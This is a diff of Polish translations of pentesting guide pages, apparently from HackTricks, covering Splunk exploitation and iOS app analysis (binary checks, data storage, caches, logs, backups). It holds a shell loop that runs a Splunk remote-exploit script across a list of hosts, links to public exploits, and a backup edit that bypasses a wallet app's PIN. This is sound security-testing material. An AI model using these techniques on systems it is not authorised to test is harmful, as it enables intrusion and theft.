@ -39,9 +39,9 @@ for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8
```
**Użyteczne publiczne exploity:**
- https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
- https://www.exploit-db.com/exploits/46238
- https://www.exploit-db.com/exploits/46487
- [https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2](https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2)
- [https://www.exploit-db.com/exploits/46238](https://www.exploit-db.com/exploits/46238)
- [https://www.exploit-db.com/exploits/46487](https://www.exploit-db.com/exploits/46487)
## Wykorzystywanie zapytań Splunk

View File

@ -26,16 +26,16 @@ Podczas testowania **zostanie zasugerowanych kilka operacji** (połączenie z ur
basic-ios-testing-operations.md
{{#endref}}
> [!NOTE]
> W kolejnych krokach **aplikacja powinna być zainstalowana** na urządzeniu i powinna już uzyskać **plik IPA** aplikacji.\
> [!TIP]
> W kolejnych krokach **aplikacja powinna być zainstalowana** na urządzeniu i powinna już mieć uzyskany **plik IPA** aplikacji.\
> Przeczytaj stronę [Basic iOS Testing Operations](basic-ios-testing-operations.md), aby dowiedzieć się, jak to zrobić.
### Basic Static Analysis
Kilka interesujących dekompilatorów plików iOS - IPA:
- https://github.com/LaurieWired/Malimite
- https://ghidra-sre.org/
- [https://github.com/LaurieWired/Malimite](https://github.com/LaurieWired/Malimite)
- [https://ghidra-sre.org/](https://ghidra-sre.org/)
Zaleca się użycie narzędzia [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) do przeprowadzenia automatycznej analizy statycznej pliku IPA.
@ -44,19 +44,19 @@ Identyfikacja **ochron obecnych w binarnym**:
- **PIE (Position Independent Executable)**: Gdy jest włączone, aplikacja ładowana jest do losowego adresu pamięci za każdym razem, gdy jest uruchamiana, co utrudnia przewidywanie jej początkowego adresu pamięci.
```bash
otool -hv <app-binary> | grep PIE # Powinno zawierać flagę PIE
otool -hv <app-binary> | grep PIE # Powinien zawierać flagę PIE
```
- **Stack Canaries**: Aby zweryfikować integralność stosu, wartość 'canary' jest umieszczana na stosie przed wywołaniem funkcji i jest weryfikowana ponownie po zakończeniu funkcji.
- **Stack Canaries**: Aby zweryfikować integralność stosu, wartość „canary” jest umieszczana na stosie przed wywołaniem funkcji i jest weryfikowana ponownie po zakończeniu funkcji.
```bash
otool -I -v <app-binary> | grep stack_chk # Powinno zawierać symbole: stack_chk_guard i stack_chk_fail
otool -I -v <app-binary> | grep stack_chk # Powinien zawierać symbole: stack_chk_guard i stack_chk_fail
```
- **ARC (Automatic Reference Counting)**: Aby zapobiec powszechnym błędom związanym z uszkodzeniem pamięci
```bash
otool -I -v <app-binary> | grep objc_release # Powinno zawierać symbol _objc_release
otool -I -v <app-binary> | grep objc_release # Powinien zawierać symbol _objc_release
```
- **Encrypted Binary**: Binarna powinna być zaszyfrowana
@ -135,7 +135,7 @@ grep -iER "_vsprintf"
### Basic Dynamic Analysis
Sprawdź analizę dynamiczną, którą wykonuje [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Będziesz musiał nawigować przez różne widoki i wchodzić z nimi w interakcje, ale będzie to podłączać kilka klas podczas wykonywania innych czynności i przygotuje raport, gdy skończysz.
Sprawdź analizę dynamiczną, którą wykonuje [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Będziesz musiał przejść przez różne widoki i wchodzić z nimi w interakcje, ale będzie to podłączać kilka klas podczas wykonywania innych czynności i przygotuje raport, gdy skończysz.
### Listing Installed Apps
@ -152,9 +152,9 @@ PID Name Identifier
- Camera com.apple.camera
- iGoat-Swift OWASP.iGoat-Swift
```
### Podstawowa enumeracja i hooking
### Podstawowa Enumeracja i Hooking
Dowiedz się, jak **enumerować komponenty aplikacji** i jak łatwo **hookować metody i klasy** za pomocą objection:
Dowiedz się, jak **enumerować komponenty aplikacji** oraz jak łatwo **hookować metody i klasy** za pomocą objection:
{{#ref}}
ios-hooking-with-objection.md
@ -162,23 +162,23 @@ ios-hooking-with-objection.md
### Struktura IPA
Struktura **pliku IPA** jest zasadniczo taka sama jak **spakowany pakiet**. Zmieniając jego rozszerzenie na `.zip`, można go **rozpakować**, aby ujawnić jego zawartość. W tej strukturze, **Bundle** reprezentuje w pełni zapakowaną aplikację gotową do instalacji. Wewnątrz znajdziesz katalog o nazwie `<NAME>.app`, który zawiera zasoby aplikacji.
Struktura **pliku IPA** jest zasadniczo taka sama jak **spakowanego pakietu**. Zmieniając jego rozszerzenie na `.zip`, można go **rozpakować**, aby ujawnić jego zawartość. W tej strukturze, **Bundle** reprezentuje w pełni zapakowaną aplikację gotową do instalacji. Wewnątrz znajdziesz katalog o nazwie `<NAME>.app`, który zawiera zasoby aplikacji.
- **`Info.plist`**: Ten plik zawiera szczegółowe informacje konfiguracyjne aplikacji.
- **`_CodeSignature/`**: Ten katalog zawiera plik plist, który zawiera podpis, zapewniając integralność wszystkich plików w pakiecie.
- **`Assets.car`**: Skompresowany archiwum, które przechowuje pliki zasobów, takie jak ikony.
- **`Frameworks/`**: Ten folder zawiera natywne biblioteki aplikacji, które mogą być w formie plików `.dylib` lub `.framework`.
- **`PlugIns/`**: Może zawierać rozszerzenia do aplikacji, znane jako pliki `.appex`, chociaż nie zawsze są obecne. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Służy do zapisywania trwałych danych aplikacji do użytku offline, do buforowania danych tymczasowych oraz do dodawania funkcji cofania do aplikacji na jednym urządzeniu. Aby synchronizować dane między wieloma urządzeniami w jednym koncie iCloud, Core Data automatycznie odzwierciedla schemat w kontenerze CloudKit.
- **`PlugIns/`**: Może zawierać rozszerzenia aplikacji, znane jako pliki `.appex`, chociaż nie zawsze są obecne. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Jest używane do zapisywania trwałych danych aplikacji do użytku offline, do buforowania danych tymczasowych oraz do dodawania funkcji cofania do aplikacji na jednym urządzeniu. Aby synchronizować dane między wieloma urządzeniami w jednym koncie iCloud, Core Data automatycznie odzwierciedla schemat w kontenerze CloudKit.
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Plik `PkgInfo` jest alternatywnym sposobem określenia typu i kodów twórcy aplikacji lub pakietu.
- **en.lproj, fr.proj, Base.lproj**: To pakiety językowe, które zawierają zasoby dla tych konkretnych języków oraz domyślny zasób na wypadek, gdyby dany język nie był obsługiwany.
- **en.lproj, fr.proj, Base.lproj**: To pakiety językowe, które zawierają zasoby dla tych konkretnych języków oraz domyślny zasób na wypadek, gdy dany język nie jest obsługiwany.
- **Bezpieczeństwo**: Katalog `_CodeSignature/` odgrywa kluczową rolę w bezpieczeństwie aplikacji, weryfikując integralność wszystkich plików w pakiecie za pomocą podpisów cyfrowych.
- **Zarządzanie zasobami**: Plik `Assets.car` wykorzystuje kompresję do efektywnego zarządzania zasobami graficznymi, co jest kluczowe dla optymalizacji wydajności aplikacji i zmniejszenia jej ogólnego rozmiaru.
- **Frameworki i PlugIns**: Te katalogi podkreślają modularność aplikacji iOS, umożliwiając deweloperom dołączanie wielokrotnego użytku bibliotek kodu (`Frameworks/`) i rozszerzanie funkcjonalności aplikacji (`PlugIns/`).
- **Frameworki i PlugIns**: Te katalogi podkreślają modułowość aplikacji iOS, umożliwiając deweloperom dołączanie bibliotek kodu do ponownego użycia (`Frameworks/`) oraz rozszerzanie funkcjonalności aplikacji (`PlugIns/`).
- **Lokalizacja**: Struktura wspiera wiele języków, ułatwiając globalny zasięg aplikacji poprzez dołączanie zasobów dla konkretnych pakietów językowych.
**Info.plist**
**Info.plist** jest fundamentem aplikacji iOS, zawierającym kluczowe dane konfiguracyjne w formie par **klucz-wartość**. Ten plik jest wymagany nie tylko dla aplikacji, ale także dla rozszerzeń aplikacji i frameworków zapakowanych w środku. Jest zbudowany w formacie XML lub binarnym i zawiera istotne informacje, od uprawnień aplikacji po konfiguracje bezpieczeństwa. Aby szczegółowo zbadać dostępne klucze, można odwołać się do [**Dokumentacji Dewelopera Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
**Info.plist** jest fundamentem aplikacji iOS, zawierającym kluczowe dane konfiguracyjne w formie par **klucz-wartość**. Ten plik jest wymagany nie tylko dla aplikacji, ale także dla rozszerzeń aplikacji i frameworków w pakiecie. Jest zorganizowany w formacie XML lub binarnym i zawiera krytyczne informacje, od uprawnień aplikacji po konfiguracje bezpieczeństwa. Aby szczegółowo zbadać dostępne klucze, można odwołać się do [**Dokumentacji Dewelopera Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
Dla tych, którzy chcą pracować z tym plikiem w bardziej dostępnym formacie, konwersję XML można łatwo osiągnąć za pomocą `plutil` na macOS (dostępne natywnie w wersjach 10.2 i nowszych) lub `plistutil` na Linuxie. Komendy do konwersji są następujące:
@ -191,13 +191,13 @@ $ plutil -convert xml1 Info.plist
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
```
Wśród niezliczonych informacji, które plik **Info.plist** może ujawnić, szczególnie istotne wpisy to ciągi uprawnień aplikacji (`UsageDescription`), niestandardowe schematy URL (`CFBundleURLTypes`) oraz konfiguracje dla App Transport Security (`NSAppTransportSecurity`). Wpisy te, wraz z innymi, takimi jak eksportowane/importowane niestandardowe typy dokumentów (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), można łatwo zlokalizować, przeglądając plik lub używając prostego polecenia `grep`:
Wśród niezliczonych informacji, które plik **Info.plist** może ujawnić, istotne wpisy to ciągi uprawnień aplikacji (`UsageDescription`), niestandardowe schematy URL (`CFBundleURLTypes`) oraz konfiguracje dla App Transport Security (`NSAppTransportSecurity`). Wpisy te, wraz z innymi, takimi jak eksportowane/importowane niestandardowe typy dokumentów (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), można łatwo zlokalizować, przeglądając plik lub używając prostego polecenia `grep`:
```bash
$ grep -i <keyword> Info.plist
```
**Ścieżki Danych**
**Ścieżki danych**
W środowisku iOS, katalogi są wyznaczone specjalnie dla **aplikacji systemowych** i **aplikacji zainstalowanych przez użytkownika**. Aplikacje systemowe znajdują się w katalogu `/Applications`, podczas gdy aplikacje zainstalowane przez użytkownika są umieszczane w `/var/mobile/containers/Data/Application/`. Te aplikacje mają przypisany unikalny identyfikator znany jako **128-bitowy UUID**, co utrudnia ręczne zlokalizowanie folderu aplikacji z powodu losowości nazw katalogów.
W środowisku iOS katalogi są wyznaczone specjalnie dla **aplikacji systemowych** i **aplikacji zainstalowanych przez użytkownika**. Aplikacje systemowe znajdują się w katalogu `/Applications`, podczas gdy aplikacje zainstalowane przez użytkownika są umieszczane w `/var/mobile/containers/Data/Application/`. Te aplikacje mają przypisany unikalny identyfikator znany jako **128-bitowy UUID**, co utrudnia ręczne zlokalizowanie folderu aplikacji z powodu losowości nazw katalogów.
> [!WARNING]
> Ponieważ aplikacje w iOS muszą być izolowane, każda aplikacja będzie miała również folder wewnątrz **`$HOME/Library/Containers`** z **`CFBundleIdentifier`** aplikacji jako nazwą folderu.
@ -240,13 +240,13 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- Zawartość tego katalogu **jest kopiowana**.
- Aplikacja może wyłączyć ścieżki, ustawiając `NSURLIsExcludedFromBackupKey`.
- **Library/**
- Zawiera wszystkie **pliki, które nie są specyficzne dla użytkownika**, takie jak **pamięci podręczne**, **preferencje**, **ciasteczka** oraz pliki konfiguracyjne listy właściwości (plist).
- Zawiera wszystkie **pliki, które nie są specyficzne dla użytkownika**, takie jak **cache**, **preferencje**, **ciasteczka** oraz pliki konfiguracyjne listy właściwości (plist).
- Aplikacje iOS zazwyczaj używają podkatalogów `Application Support` i `Caches`, ale aplikacja może tworzyć własne podkatalogi.
- **Library/Caches/**
- Zawiera **półtrwałe pliki pamięci podręcznej.**
- Zawiera **półtrwałe pliki cache.**
- Niewidoczny dla użytkowników i **użytkownicy nie mogą do niego pisać**.
- Zawartość tego katalogu **nie jest kopiowana**.
- System operacyjny może automatycznie usuwać pliki z tego katalogu, gdy aplikacja nie jest uruchomiona, a miejsce na dysku jest ograniczone.
- System operacyjny może automatycznie usuć pliki z tego katalogu, gdy aplikacja nie jest uruchomiona, a miejsce na dysku jest ograniczone.
- **Library/Application Support/**
- Zawiera **trwałe** **pliki** niezbędne do działania aplikacji.
- **Niewidoczny** **dla** **użytkowników** i użytkownicy nie mogą do niego pisać.
@ -258,10 +258,10 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- Wszystkie pary klucz/wartość przechowywane za pomocą `NSUserDefaults` można znaleźć w tym pliku.
- **tmp/**
- Użyj tego katalogu do zapisywania **plików tymczasowych**, które nie muszą się utrzymywać między uruchomieniami aplikacji.
- Zawiera nietrwałe pliki pamięci podręcznej.
- Zawiera nietrwałe pliki cache.
- **Niewidoczny** dla użytkowników.
- Zawartość tego katalogu nie jest kopiowana.
- System operacyjny może automatycznie usuwać pliki z tego katalogu, gdy aplikacja nie jest uruchomiona, a miejsce na dysku jest ograniczone.
- System operacyjny może automatycznie usuć pliki z tego katalogu, gdy aplikacja nie jest uruchomiona, a miejsce na dysku jest ograniczone.
Przyjrzyjmy się bliżej katalogowi pakietu aplikacji iGoat-Swift (.app) wewnątrz katalogu pakietu (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
```bash
@ -279,7 +279,7 @@ Regular 420 None ... README.txt
```
### Binary Reversing
W folderze `<application-name>.app` znajdziesz plik binarny o nazwie `<application-name>`. To jest plik, który będzie **wykonywany**. Możesz przeprowadzić podstawową inspekcję pliku binarnego za pomocą narzędzia **`otool`**:
W folderze `<application-name>.app` znajdziesz plik binarny o nazwie `<application-name>`. To jest plik, który będzie **wykonywany**. Możesz przeprowadzić podstawową inspekcję binarnego pliku za pomocą narzędzia **`otool`**:
```bash
otool -Vh DVIA-v2 #Check some compilation attributes
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
@ -355,7 +355,7 @@ double _field1;
double _field2;
};
```
Jednak najlepszymi opcjami do dekompilacji binarnej są: [**Hopper**](https://www.hopperapp.com/download.html?) i [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
Jednak najlepszymi opcjami do dekompilacji binariów są: [**Hopper**](https://www.hopperapp.com/download.html?) i [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
## Przechowywanie danych
@ -367,15 +367,15 @@ ios-basics.md
> [!WARNING]
> Następujące miejsca do przechowywania informacji powinny być sprawdzone **tuż po zainstalowaniu aplikacji**, **po sprawdzeniu wszystkich funkcjonalności** aplikacji, a nawet po **wylogowaniu się z jednego użytkownika i zalogowaniu się na innego**.\
> Celem jest znalezienie **niechronionych informacji wrażliwych** aplikacji (hasła, tokeny), bieżącego użytkownika oraz wcześniej zalogowanych użytkowników.
> Celem jest znalezienie **niechronionych wrażliwych informacji** aplikacji (hasła, tokeny), bieżącego użytkownika oraz wcześniej zalogowanych użytkowników.
### Plist
**plik plist** to strukturalny plik XML, który **zawiera pary klucz-wartość**. To sposób na przechowywanie danych trwałych, więc czasami możesz znaleźć **wrażliwe informacje w tych plikach**. Zaleca się sprawdzenie tych plików po zainstalowaniu aplikacji i po intensywnym korzystaniu z niej, aby zobaczyć, czy zapisano nowe dane.
Pliki **plist** to strukturalne pliki XML, które **zawierają pary klucz-wartość**. To sposób na przechowywanie danych trwałych, więc czasami możesz znaleźć **wrażliwe informacje w tych plikach**. Zaleca się sprawdzenie tych plików po zainstalowaniu aplikacji i po intensywnym korzystaniu z niej, aby zobaczyć, czy zapisano nowe dane.
Najczęstszym sposobem na trwałe przechowywanie danych w plikach plist jest użycie **NSUserDefaults**. Ten plik plist jest zapisywany wewnątrz piaskownicy aplikacji w **`Library/Preferences/<appBundleID>.plist`**
Najczęstszym sposobem na trwałe przechowywanie danych w plikach plist jest użycie **NSUserDefaults**. Ten plik plist jest zapisywany wewnątrz piaskownicy aplikacji w **`Library/Preferences/<appBundleID>.plist`**.
Klasa [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) zapewnia programowy interfejs do interakcji z domyślnym systemem. Domyślny system pozwala aplikacji dostosować swoje zachowanie zgodnie z **preferencjami użytkownika**. Dane zapisane przez `NSUserDefaults` można przeglądać w pakiecie aplikacji. Ta klasa przechowuje **dane** w **pliku plist**, ale jest przeznaczona do użycia z małymi ilościami danych.
Klasa [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) zapewnia programowy interfejs do interakcji z domyślnym systemem. Domyślny system pozwala aplikacji dostosować swoje zachowanie zgodnie z **preferencjami użytkownika**. Dane zapisane przez `NSUserDefaults` można przeglądać w pakiecie aplikacji. Ta klasa przechowuje **dane** w pliku **plist**, ale jest przeznaczona do użycia z małymi ilościami danych.
Dane te nie mogą być dłużej bezpośrednio dostępne za pomocą zaufanego komputera, ale można uzyskać do nich dostęp, wykonując **kopię zapasową**.
@ -402,7 +402,7 @@ ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>
```
### Core Data
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) to framework do zarządzania warstwą modelu obiektów w Twojej aplikacji. [Core Data może używać SQLite jako swojego trwałego magazynu](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), ale sam framework nie jest bazą danych.\
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) to framework do zarządzania warstwą modelu obiektów w Twojej aplikacji. [Core Data może używać SQLite jako swojego trwałego magazynu](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), ale samo framework nie jest bazą danych.\
CoreData domyślnie nie szyfruje swoich danych. Jednak dodatkowa warstwa szyfrowania może być dodana do CoreData. Zobacz [GitHub Repo](https://github.com/project-imas/encrypted-core-data) po więcej szczegółów.
Możesz znaleźć informacje o SQLite Core Data aplikacji w ścieżce `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support`
@ -444,7 +444,7 @@ find ./ -name "*.sqlite" -or -name "*.db"
```
### Firebase Real-Time Databases
Deweloperzy mogą **przechowywać i synchronizować dane** w **bazie danych NoSQL hostowanej w chmurze** za pomocą Firebase Real-Time Databases. Przechowywane w formacie JSON, dane są synchronizowane do wszystkich podłączonych klientów w czasie rzeczywistym.
Programiści mogą **przechowywać i synchronizować dane** w **bazie danych NoSQL hostowanej w chmurze** za pomocą Firebase Real-Time Databases. Przechowywane w formacie JSON, dane są synchronizowane do wszystkich podłączonych klientów w czasie rzeczywistym.
Możesz znaleźć informacje, jak sprawdzić źle skonfigurowane bazy danych Firebase tutaj:
@ -518,19 +518,19 @@ Zaleca się **wyłączenie buforowania tych danych**, ponieważ mogą one zawier
Ta metoda usunie wszystkie zbuforowane żądania i odpowiedzi z pliku Cache.db.
2. Jeśli nie potrzebujesz korzystać z zalet ciasteczek, zaleca się po prostu użycie właściwości konfiguracyjnej [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) URLSession, która wyłączy zapisywanie ciasteczek i buforów.
2. Jeśli nie musisz korzystać z zalet ciasteczek, zaleca się po prostu użycie właściwości konfiguracyjnej [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) URLSession, która wyłączy zapisywanie ciasteczek i buforów.
[Dokumentacja Apple](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
`Obiekt konfiguracyjny sesji efemerycznej jest podobny do domyślnego obiektu konfiguracyjnego sesji (patrz domyślny), z tą różnicą, że odpowiadający obiekt sesji nie przechowuje buforów, magazynów poświadczeń ani żadnych danych związanych z sesją na dysku. Zamiast tego dane związane z sesją są przechowywane w RAM. Jedynym razem, gdy efemeryczna sesja zapisuje dane na dysku, jest wtedy, gdy powiesz jej, aby zapisała zawartość URL do pliku.`
`Obiekt konfiguracyjny sesji ephemerowej jest podobny do domyślnego obiektu konfiguracyjnego sesji (patrz default), z wyjątkiem tego, że odpowiadający obiekt sesji nie przechowuje buforów, magazynów poświadczeń ani żadnych danych związanych z sesją na dysku. Zamiast tego dane związane z sesją są przechowywane w RAM. Jedynym razem, gdy sesja ephemerowa zapisuje dane na dysku, jest wtedy, gdy powiesz jej, aby zapisała zawartość URL do pliku.`
3. Bufor można również wyłączyć, ustawiając politykę buforowania na [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Wyłączy to przechowywanie buforu w jakiejkolwiek formie, zarówno w pamięci, jak i na dysku.
### Snapshots
Ilekroć naciśniesz przycisk home, iOS **robi zrzut ekranu bieżącego ekranu**, aby móc przejść do aplikacji w znacznie płynniejszy sposób. Jednak jeśli na bieżącym ekranie znajdują się **wrażliwe** **dane**, zostaną one **zapisane** w **obrazie** (który **utrzymuje się** **po** **ponownym uruchomieniu**). To są zrzuty ekranu, do których możesz również uzyskać dostęp, podwójnie stukając ekran główny, aby przełączać się między aplikacjami.
Kiedy naciśniesz przycisk home, iOS **robi zrzut ekranu bieżącego ekranu**, aby móc przejść do aplikacji w znacznie płynniejszy sposób. Jednak jeśli na bieżącym ekranie znajdują się **wrażliwe** **dane**, zostaną one **zapisane** w **obrazie** (który **utrzymuje się** **po** **ponownych uruchomieniach**). To są zrzuty ekranu, do których możesz również uzyskać dostęp, podwójnie stukając ekran główny, aby przełączać się między aplikacjami.
O ile iPhone nie jest zrootowany, **atakujący** musi mieć **dostęp** do **urządzenia** **odblokowanego**, aby zobaczyć te zrzuty ekranu. Domyślnie ostatni zrzut ekranu jest przechowywany w piaskownicy aplikacji w folderze `Library/Caches/Snapshots/` lub `Library/SplashBoard/Snapshots` (zaufane komputery nie mogą uzyskać dostępu do systemu plików od iOS 7.0).
O ile iPhone nie jest zrootowany, **atakujący** musi mieć **dostęp** do **urządzenia** **odblokowanego**, aby zobaczyć te zrzuty ekranu. Domyślnie ostatni zrzut ekranu jest przechowywany w piaskownicy aplikacji w folderze `Library/Caches/Snapshots/` lub `Library/SplashBoard/Snapshots` (zaufane komputery nie mogą uzyskać dostępu do systemu plików od iOX 7.0).
Jednym ze sposobów zapobiegania temu złemu zachowaniu jest umieszczenie pustego ekranu lub usunięcie wrażliwych danych przed zrobieniem zrzutu ekranu za pomocą funkcji `ApplicationDidEnterBackground()`.
@ -584,12 +584,12 @@ Aby wyodrębnić te zapisane dane uwierzytelniające, używana jest komenda Obje
## **Niestandardowe Klawiatury i Pamięć Klawiatury**
Od iOS 8.0 użytkownicy mogą instalować niestandardowe rozszerzenia klawiatur, które są zarządzane w **Ustawienia > Ogólne > Klawiatura > Klawiatury**. Chociaż te klawiatury oferują rozszerzoną funkcjonalność, niosą ryzyko rejestrowania naciśnięć klawiszy i przesyłania danych do zewnętrznych serwerów, chociaż użytkownicy są informowani o klawiaturach wymagających dostępu do sieci. Aplikacje mogą i powinny ograniczać użycie niestandardowych klawiatur do wprowadzania wrażliwych informacji.
Od iOS 8.0 użytkownicy mogą instalować rozszerzenia niestandardowych klawiatur, które są zarządzane w **Ustawienia > Ogólne > Klawiatura > Klawiatury**. Chociaż te klawiatury oferują rozszerzoną funkcjonalność, niosą ze sobą ryzyko rejestrowania naciśnięć klawiszy i przesyłania danych do zewnętrznych serwerów, chociaż użytkownicy są informowani o klawiaturach wymagających dostępu do sieci. Aplikacje mogą i powinny ograniczać użycie niestandardowych klawiatur do wprowadzania wrażliwych informacji.
**Zalecenia dotyczące bezpieczeństwa:**
- Zaleca się wyłączenie klawiatur firm trzecich w celu zwiększenia bezpieczeństwa.
- Należy być świadomym funkcji automatycznej korekty i podpowiedzi domyślnej klawiatury iOS, które mogą przechowywać wrażliwe informacje w plikach pamięci podręcznej znajdujących się w `Library/Keyboard/{locale}-dynamic-text.dat` lub `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Te pliki pamięci podręcznej powinny być regularnie sprawdzane pod kątem wrażliwych danych. Zaleca się zresetowanie słownika klawiatury za pomocą **Ustawienia > Ogólne > Resetuj > Zresetuj słownik klawiatury** w celu usunięcia danych z pamięci podręcznej.
- Należy być świadomym funkcji automatycznej korekty i podpowiedzi w domyślnej klawiaturze iOS, które mogą przechowywać wrażliwe informacje w plikach pamięci podręcznej znajdujących się w `Library/Keyboard/{locale}-dynamic-text.dat` lub `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Pliki pamięci podręcznej powinny być regularnie sprawdzane pod kątem wrażliwych danych. Zaleca się zresetowanie słownika klawiatury za pomocą **Ustawienia > Ogólne > Resetuj > Zresetuj słownik klawiatury** w celu usunięcia danych z pamięci podręcznej.
- Przechwytywanie ruchu sieciowego może ujawnić, czy niestandardowa klawiatura przesyła naciśnięcia klawiszy zdalnie.
### **Zapobieganie Pamięci Podręcznej Pola Tekstowego**
@ -612,7 +612,7 @@ Pomimo tych ograniczeń, **atakujący z fizycznym dostępem** do odblokowanego u
Aby zminimalizować ryzyko, zaleca się **dokładne interakcje z aplikacją**, eksplorując wszystkie jej funkcjonalności i dane wejściowe, aby upewnić się, że żadne wrażliwe informacje nie są rejestrowane przypadkowo.
Przeglądając kod źródłowy aplikacji w poszukiwaniu potencjalnych wycieków, należy szukać zarówno **zdefiniowanych**, jak i **niestandardowych instrukcji logowania** przy użyciu słów kluczowych takich jak `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` dla funkcji wbudowanych oraz wszelkich wzmiankach o `Logging` lub `Logfile` dla niestandardowych implementacji.
Przy przeglądaniu kodu źródłowego aplikacji w poszukiwaniu potencjalnych wycieków, należy szukać zarówno **zdefiniowanych**, jak i **niestandardowych instrukcji logowania** używając słów kluczowych takich jak `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` dla funkcji wbudowanych oraz wszelkich wzmiankach o `Logging` lub `Logfile` dla niestandardowych implementacji.
### **Monitorowanie logów systemowych**
@ -638,7 +638,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
## Kopie zapasowe
**Funkcje automatycznego tworzenia kopii zapasowych** są zintegrowane z iOS, co ułatwia tworzenie kopii danych urządzenia za pomocą iTunes (do macOS Catalina), Findera (od macOS Catalina wzwyż) lub iCloud. Te kopie zapasowe obejmują prawie wszystkie dane urządzenia, z wyjątkiem wysoce wrażliwych elementów, takich jak szczegóły Apple Pay i konfiguracje Touch ID.
**Funkcje automatycznego tworzenia kopii zapasowych** są zintegrowane z iOS, ułatwiając tworzenie kopii danych urządzenia za pomocą iTunes (do macOS Catalina), Findera (od macOS Catalina) lub iCloud. Te kopie zapasowe obejmują prawie wszystkie dane urządzenia, z wyjątkiem wysoce wrażliwych elementów, takich jak szczegóły Apple Pay i konfiguracje Touch ID.
### Ryzyka bezpieczeństwa
@ -650,7 +650,7 @@ Pliki w `Documents/` i `Library/Application Support/` są domyślnie tworzone w
### Testowanie pod kątem podatności
Aby ocenić bezpieczeństwo kopii zapasowej aplikacji, zacznij od **utworzenia kopii zapasowej** za pomocą Findera, a następnie zlokalizuj ją, korzystając z wskazówek zawartych w [oficjalnej dokumentacji Apple](https://support.apple.com/en-us/HT204215). Analizuj kopię zapasową pod kątem wrażliwych danych lub konfiguracji, które mogą być zmieniane, aby wpłynąć na zachowanie aplikacji.
Aby ocenić bezpieczeństwo kopii zapasowych aplikacji, zacznij od **utworzenia kopii zapasowej** za pomocą Findera, a następnie zlokalizuj ją, korzystając z wskazówek zawartych w [oficjalnej dokumentacji Apple](https://support.apple.com/en-us/HT204215). Analizuj kopię zapasową pod kątem wrażliwych danych lub konfiguracji, które mogą być zmieniane, aby wpłynąć na zachowanie aplikacji.
Wrażliwe informacje można wyszukiwać za pomocą narzędzi wiersza poleceń lub aplikacji takich jak [iMazing](https://imazing.com). W przypadku zaszyfrowanych kopii zapasowych obecność szyfrowania można potwierdzić, sprawdzając klucz "IsEncrypted" w pliku "Manifest.plist" w katalogu głównym kopii zapasowej.
```xml
@ -665,21 +665,21 @@ Wrażliwe informacje można wyszukiwać za pomocą narzędzi wiersza poleceń lu
...
</plist>
```
Aby poradzić sobie z zaszyfrowanymi kopiami zapasowymi, skrypty Pythona dostępne w [repozytorium GitHub DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), takie jak **backup_tool.py** i **backup_passwd.py**, mogą być przydatne, chociaż mogą wymagać dostosowań w celu zapewnienia zgodności z najnowszymi wersjami iTunes/Finder. Narzędzie [**iOSbackup**](https://pypi.org/project/iOSbackup/) to kolejna opcja do uzyskiwania dostępu do plików w zabezpieczonych hasłem kopiach zapasowych.
Aby poradzić sobie z zaszyfrowanymi kopiami zapasowymi, przydatne mogą być skrypty Pythona dostępne w [repozytorium GitHub DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), takie jak **backup_tool.py** i **backup_passwd.py**, chociaż mogą wymagać dostosowań w celu zapewnienia zgodności z najnowszymi wersjami iTunes/Finder. Narzędzie [**iOSbackup**](https://pypi.org/project/iOSbackup/) to kolejna opcja do uzyskiwania dostępu do plików w zabezpieczonych hasłem kopiach zapasowych.
### Modyfikowanie zachowania aplikacji
Przykład zmiany zachowania aplikacji poprzez modyfikacje kopii zapasowej jest pokazany w [aplikacji portfela bitcoin Bither](https://github.com/bither/bither-ios), gdzie PIN blokady interfejsu użytkownika jest przechowywany w `net.bither.plist` pod kluczem **pin_code**. Usunięcie tego klucza z plist i przywrócenie kopii zapasowej usuwa wymóg podawania PIN-u, zapewniając nieograniczony dostęp.
